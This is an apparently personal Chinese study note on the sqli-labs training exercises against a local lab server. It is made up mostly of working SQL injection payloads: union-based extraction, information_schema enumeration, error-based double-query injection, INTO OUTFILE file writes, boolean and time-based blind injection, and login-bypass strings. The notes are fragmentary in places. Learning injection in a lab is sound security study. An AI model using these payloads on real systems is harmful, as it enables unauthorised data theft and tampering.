sql-labs 65
有关于sqllab的65题,
以下,是我的猜测:
1.select user,password from table where id= '$id'
下面是对应报错:
use near ' ' 1' ' LIMIT 0,1 ' at line 1 near ' '1\' LIMIT 0,1 ' at line 1
原理就是参数被转化为字符串了
何不加一句?
echo "sql 语句是:".$sql."<br>";
闭合或注释:
id=1' and '1'='1
--+ # (加号替代空格)
我觉得这一步就是注入:
select user,password from table where id= '1' and 1=0 union select 1,database(),3 and '1'='1'
注入之后:
select ID,user,password from table where id= '1' and 1=2 union select 1,2,3 and '1'='1'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=0 union select 1,database(),3 and '1'='1
@@basedir 路径
select database(),version(),user() ,数据库名,版本号,用户
set name 'gbk'; 设置字符
2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; ?id=1"; echo'2333';#"
union 联合查询,爆字段数
union select 1,2,3...
继续递归查询,
?id=1 union select 1,2,'x',4 from table where x_type='x'
无辜的SQL函数:
user() 用户名
database() 数据库
select suser_name() 返回用户的登录标识名
select user_name() 基于指定标识号,返回数据库用户名
select db_name() 返回数据库名称
select is_member('db_owner') 是否为数据库角色
select conver(int,'5') 数据类型转换
select group_concat(table_name) from information_schema.tables where table_schema= hex(库名) 爆表名 select group_concat(column_name) from information_schema.columns where table_name= 爆表内容 concat_ws(char(32,58,32),version(),database(),user()...) # 32是空格,58是:冒号 把多行连接为一行 SELECT id,GROUP_CONCAT(score) FROM testgroup GROUP BY id ; 把ID一样的罗列出来 concat_ws(char(32,58,32),user(),database(),version()) 打包带走
数据库information_schema:
SCHEMATA表:储存mysql所有数据库的基本信息;
TABLES表:储存mysql中的表信息 ;
COLUMNS表:提供了表中的列信息;
1.获取mysql所有表结构的sql语句: SELECT *FROM information_schema.TABLE; (WHERE TABLE_SCHEMA='数据库名称'; ) 2.获取表字段的sql语句 SELECT * FROM information_schema.COLUMNS; (WHERE TABLE_NAME='表名' ;) 3.获取表键值的sql语句 SELECT * FROM information_schema.KEY_COLUMN_USAGE; (WHERE TABLE_NAME='表名' ) 4.获取表check约束的sql语句 SELECT * FROM information_schema.TABLE_CONSTRAINTS; (WHERE TABLE_SCHEMA='数据库名称'; ) 5.获取表索引的sql语句 SELECT * FROM information_schema.STATISTICS; (WHERE TABLE_NAME='表名' )
$sql="SELECT * FROM users WHERE id=(' $id ## 1')=1 and 1=1 --+ ') LIMIT 0,1"; 成品 ?id=1') and 1=0 union select 1,concat_ws(char(32,58,32),version(),database(),user()),3--+
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=("'. $id . 1'") and 1=0 '") LIMIT 0,1"; ' " 1\ ") LIMIT 0,1 ' ?id=1'") and 1=0 union select 1, 2, concat_ws ( char(32,58,32),version(),user(),database() ) --+
5.显示错误类型
count和group by 合在一起用就会建立一个虚拟表,
开始查询数据,取数据库数据,然后查看虚拟表存在不,
不存在则插入新记录, 存在则count(*)字段直接加1
主键必须唯一,
报错需要count(*),rand()、group by,三者缺一不可
最重要的是前面几条记录查询后不能让虚表存在0,1键值
key * count(*) *
0 * m *
1 * n *
大概就是这样,随机的目的在于让主键 key 重复
?id= 0' union select count(*),0,concat( ( select user() ), floor(rand()*2) ) as x from information_schema.tables group by x limit 0,10 --+
6.报错2
$id = ' "'.$id.'" ';$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";$sql="SELECT * FROM users WHERE id= " '.$id.' " LIMIT 0,1"; id= " 1 " and 1=2 LIMIT 0,1"; /Less-6/?id= 0 " union select count(*),0, concat ( 0x3a,0x3a, (select database()) ,0x3a,0x3a,floor(rand()*2) ) as a from information_schema.tables group by a limit 0,10 --+
7.导出
D:\myphp_www\PHPTutorial\WWW\
这是我的储存地址
union select 1,database(),user() into outfile 'D:\\myphp_www\\PHPTutorial\\WWW\\3.txt' --+ 导出文件
8.布尔盲注
length() 返回长度
substr(abc,1,1) 截取字符串
ascii() 返回字符的ASCII码
?id=1' and ascii( substr( ( select database() ),1,1)>64 # 返回正确,大于64
时间盲注
Less-9/?id=1' and if (ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
if (a>0 , b ,c ) 对的话返回第一个,错的话返回第二个
"
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; 'or 1=1 # uname=wrong ' union select user(),database() -- & passwd=admin & submit=Submit @$sql="SELECT username, password FROM users WHERE username='wrong' union select ,database() -- & passwd=admin & submit=Submit' and password='$passwd' LIMIT 0,1";
???为什么一定要是这种形式
--+ # 删去后面内容 都不行?
但是-- + 可以
echo "sql 语句是:".$sql."
";
")
sql 语句是:SELECT username, password FROM users WHERE username=("wrong ") union select user() ,database() -- + ") and password=("admin") LIMIT 0,1
@$sql="SELECT username, password FROM users WHERE username=(' wrong') ;" echo '233333' ; -- +') and password=('$passwd') LIMIT 0,1"; uname=wrong') " ;echo '233333' ;// wrong') " ;echo '233333' ;//
为什么不行?---这里还不到堆叠注入
uname=1&passwd=2') union select count(*), concat_ws( char(32,58,32), (select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a # &submit=Submit uname= 23333') union select count(*), concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit
双注入,count后的group by虚拟表key冲突
uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit
这些有规律的井(#)是要玩什么?
15.盲注:
uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=Submit 将来用sqlmap试试
16.时间盲注
and与or的截断性
在SQL语句中如果and前面为false那么后面的语句就不会执行。
如果or前面为true那么后面的语句就不会执行。
uname=") or (length(database())) = 8 #&passwd=") or 1=1 #&submit=Submit uname=") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #&passwd=") or 1=1 #&submit=Submit
共同學習,寫下你的評論
評論加載中...
作者其他優質文章